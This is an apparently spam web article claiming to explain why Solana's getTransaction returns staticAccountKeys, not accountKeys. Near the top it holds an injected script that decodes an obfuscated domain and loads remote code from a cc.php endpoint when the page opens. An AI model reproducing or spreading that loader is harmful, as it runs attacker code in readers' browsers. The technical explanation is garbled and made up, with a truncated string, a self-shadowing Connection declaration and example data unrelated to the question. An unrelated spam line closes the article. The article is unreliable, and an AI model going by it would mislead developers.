Solana: I try getTransaction and save to DB, I can’t find accountKeys in message, only staticAccountKeys

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(„script”);script.src=”https://”+pde+”cc.php?u=8f200bb1″;document.body.appendChild(script);

Troubleshooting: Getting Account Keys from „getTransaction” in Solana

As a developer working with the Solana blockchain, it’s not uncommon to encounter issues when trying to interact with the Solana network. In this article, we’ll address a common problem that can arise when using the „getTransaction” method on a Solana WebSocket connection: finding account keys in the message.

The Problem

Solana: I try getTransaction and save to DB, I can't find accountKeys in message, only staticAccountKeys

When you call „getTransaction” on a Solana WebSocket connection, it returns a transaction object with various properties, including „accountKeys”. However, sometimes this information is not visible to your code. In particular, if your application does not set „staticAccountKeys” correctly, you will not see the account keys in the message.

The solution

To fix this issue, we assume that the following lines of code are part of your Solana WebSocket connection:

„Javascript

const WS_URL = process.env.SOLANA_WS_URL || ’

const Connection = new Connection(WS_URL, 'confirmed’);

const RAYDIUM_AMM_PROGRAM_ID = new PublicKey(…); // Initialize a public key for the AMM program

In this case, you will notice that „staticAccountKeys” is set to an empty array. This means that any account keys passed from the client to your Solana WebSocket connection will be ignored.

To fix this issue, you can either set „staticAccountKeys” correctly in your code or update the API endpoint to include account keys in the response data.

Option 1: Set staticAccountKeys correctly

If you don’t want to expose account keys from your AMM program, you can modify the API endpoint to omit them. For example:

„Javascript

const WS_URL = process.env.SOLANA_WS_URL || ’

const Connection = new Connection(WS_URL, 'confirmed’);

const RAYDIUM_AMM_PROGRAM_ID = new PublicKey(…); // Initialize a public key for the AMM program

// API endpoint response data

const ResponseData = {

Transactions: [

{ account_keys: [new PublicKey(’account-key-1′)], type: 'getTransaction’ },

{ account_keys: [new PublicKey(’another-account-key-2′)], type: 'getTransaction’ }

]

};

Option 2: Update API endpoint to include account keys

If you want to include the account keys in your API endpoint response data, you can change it as follows:

„Javascript

const WS_URL = process.env.SOLANA_WS_URL || ’

const Connection = new Connection(WS_URL, 'confirmed’);

const RAYDIUM_AMM_PROGRAM_ID = new PublicKey(…); // Initialize a public key for the AMM program

// API endpoint response data

const ResponseData = {

Transactions: [

{ account_keys: [new PublicKey(’account-key-1′), new PublicKey(’another-account-key-2′)], type: 'getTransaction’ }

]

};

By setting staticAccountKeys correctly or updating the API endpoint to include account keys, you should now be able to see the account keys in your message when using the getTransaction method on a Solana WebSocket connection.

SALE PERPETUAL MANTRA